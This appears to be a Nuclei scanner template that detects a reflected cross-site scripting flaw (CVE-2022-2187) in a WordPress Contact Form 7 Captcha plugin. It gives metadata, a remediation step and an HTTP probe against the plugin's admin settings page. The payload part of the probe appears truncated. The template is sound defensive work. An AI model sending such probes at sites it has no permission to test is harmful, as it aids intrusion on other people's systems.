id: CVE-2022-2187
info:
name: WordPress Contact Form 7 Captcha <0.1.2 - Cross-Site Scripting
author: For3stCo1d
severity: medium
description: |
WordPress Contact Form 7 Captcha plugin before 0.1.2 contains a reflected cross-site scripting vulnerability. It does not escape the $_SERVER['REQUEST_URI'] parameter before outputting it back in an attribute.
remediation: |
Update the WordPress Contact Form 7 Captcha plugin to version 0.1.2 or later to mitigate the XSS vulnerability.
reference:
- https://wpscan.com/vulnerability/4fd2f1ef-39c6-4425-8b4d-1a332dabac8d
- https://wordpress.org/plugins/contact-form-7-simple-recaptcha
- https://nvd.nist.gov/vuln/detail/CVE-2022-2187
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-2187
cwe-id: CWE-79
epss-score: 0.00119
epss-percentile: 0.4587
cpe: cpe:2.3:a:contact_form_7_captcha_project:contact_form_7_captcha:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 1
vendor: contact_form_7_captcha_project
product: contact_form_7_captcha
framework: wordpress
tags: wpscan,cve,cve2022,wordpress,xss,wp-plugin,wp
http:
- method: GET
path:
- '{{BaseURL}}/wp-admin/options-general.php?page=cf7sr_edit&">'
matchers-condition: and
matchers:
- type: word
part: body
words:
- ""
- "Contact Form 7"
condition: and
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# digest: 4a0a00473045022100eae4fe36a51412b7738703296a77234f2b9a9c5d6f9fccd8cfc74c7955532ab702206da3b7c64a7d0cc82e0a447f38fd67fbd4015f594119fe2d60e7eabdb57d0507:922c64590222798bb761d5b6d8e72950